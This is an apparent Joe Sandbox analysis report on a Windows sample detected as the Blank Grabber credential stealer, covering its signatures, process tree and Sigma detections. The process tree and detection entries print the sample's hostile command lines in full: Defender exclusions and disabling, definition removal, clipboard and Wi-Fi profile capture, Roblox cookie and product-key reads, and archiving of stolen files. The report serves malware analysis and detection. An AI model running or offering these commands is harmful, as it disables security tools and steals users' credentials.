Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Built (1).exe

Overview

General Information

Sample name:Built (1).exe
Analysis ID:1442321
MD5:95567cf5f31a7d7f34ae092e68f9999d
SHA1:5e0d1a179f0a14e9939e8056e46846bc7eadb2bf
SHA256:a879fcea4ce6f6041ffc6271c261cf6fc09ec21ac118db277572ddf7b08e8708
Tags:BlankGrabberexe
Infos:

Detection

Blank Grabber
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Yara detected Blank Grabber
Yara detected Telegram RAT
Adds a directory exclusion to Windows Defender
Found many strings related to Crypto-Wallets (likely being stolen)
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Modifies Windows Defender protection settings
Modifies existing user documents (likely ransomware behavior)
Modifies the hosts file
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Removes signatures from Windows Defender
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Rar Usage with Password and Compression Level
Sigma detected: Suspicious Startup Folder Persistence
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses cmd line tools excessively to alter registry or file data
Uses netsh to modify the Windows network and firewall settings
Writes or reads registry keys via WMI
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Screensaver Binary File Creation
Stores files to the Windows start menu directory
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Process Tree

  • System is w10x64
  • Built (1).exe (PID: 7528 cmdline: "C:\Users\user\Desktop\Built (1).exe" MD5: 95567CF5F31A7D7F34AE092E68F9999D)
    • Built (1).exe (PID: 7544 cmdline: "C:\Users\user\Desktop\Built (1).exe" MD5: 95567CF5F31A7D7F34AE092E68F9999D)
      • cmd.exe (PID: 7596 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7680 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7604 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7700 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)
        • MpCmdRun.exe (PID: 7628 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)
      • cmd.exe (PID: 7692 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7764 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7948 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 8168 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 7964 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 6032 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
          • conhost.exe (PID: 8004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 8088 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 4192 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 8104 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 5264 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 8128 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7252 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 8160 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 7296 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 8204 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • netsh.exe (PID: 8256 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)
      • cmd.exe (PID: 8316 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • systeminfo.exe (PID: 8400 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)
      • cmd.exe (PID: 8384 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • reg.exe (PID: 8580 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • cmd.exe (PID: 8392 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 8548 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 8656 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 8788 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 8696 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • attrib.exe (PID: 8852 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
      • cmd.exe (PID: 8704 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • getmac.exe (PID: 8836 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)
      • cmd.exe (PID: 8884 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • attrib.exe (PID: 8976 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
      • cmd.exe (PID: 8928 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 8996 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 9020 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 9036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 9084 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 9064 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 9096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 9152 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 9168 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 9180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7280 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7272 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 8212 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 3632 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 5284 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 1228 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • rar.exe (PID: 8204 cmdline: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)
      • cmd.exe (PID: 8468 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7856 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7924 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 8320 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 8612 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 8868 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 8784 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 8748 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 8884 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 8880 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 8948 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 1360 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\_MEI75282\rarreg.keyJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000001.00000003.1894615247.000001887CABE000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
      00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
        00000001.00000002.1901063320.000001887BB73000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
          00000000.00000003.1624338790.0000024AA458A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
            00000001.00000003.1641004156.000001887BD40000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
              Click to see the 8 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built (1).exe", ParentImage: C:\Users\user\Desktop\Built (1).exe, ParentProcessId: 7544, ParentProcessName: Built (1).exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'", ProcessId: 7596, ProcessName: cmd.exe
              Sigma detected: Powershell Defender Disable Scan Feature
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built (1).exe", ParentImage: C:\Users\user\Desktop\Built (1).exe, ParentProcessId: 7544, ParentProcessName: Built (1).exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7604, ProcessName: cmd.exe
              Sigma detected: Rar Usage with Password and Compression Level
              Source: Process startedAuthor: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built (1).exe", ParentImage: C:\Users\user\Desktop\Built (1).exe, ParentProcessId: 7544, ParentProcessName: Built (1).exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *", ProcessId: 1228, ProcessName: cmd.exe
              Sigma detected: Suspicious Startup Folder Persistence
              Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\Built (1).exe, ProcessId: 7544, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr
              Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built (1).exe", ParentImage: C:\Users\user\Desktop\Built (1).exe, ParentProcessId: 7544, ParentProcessName: Built (1).exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 8104, ProcessName: cmd.exe
              Sigma detected: Powershell Defender Exclusion
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built (1).exe", ParentImage: C:\Users\user\Desktop\Built (1).exe, ParentProcessId: 7544, ParentProcessName: Built (1).exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'", ProcessId: 7596, ProcessName: cmd.exe
              Sigma detected: SCR File Write Event
              Source: File createdAuthor: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\Built (1).exe, ProcessId: 7544, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr
              Sigma detected: Startup Folder File Write
              Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\Built (1).exe, ProcessId: 7544, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
              Sigma detected: Suspicious Screensaver Binary File Creation
              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\Built (1).exe, ProcessId: 7544, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr
              Sigma detected: Files Added To An Archive Using Rar.EXE
              Source: Process startedAuthor: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1228, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *, ProcessId: 8204, ProcessName: rar.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe', ProcessId: 7680, ProcessName: powershell.exe

              Stealing of Sensitive Information

              barindex
              Sigma detected: Capture Wi-Fi password
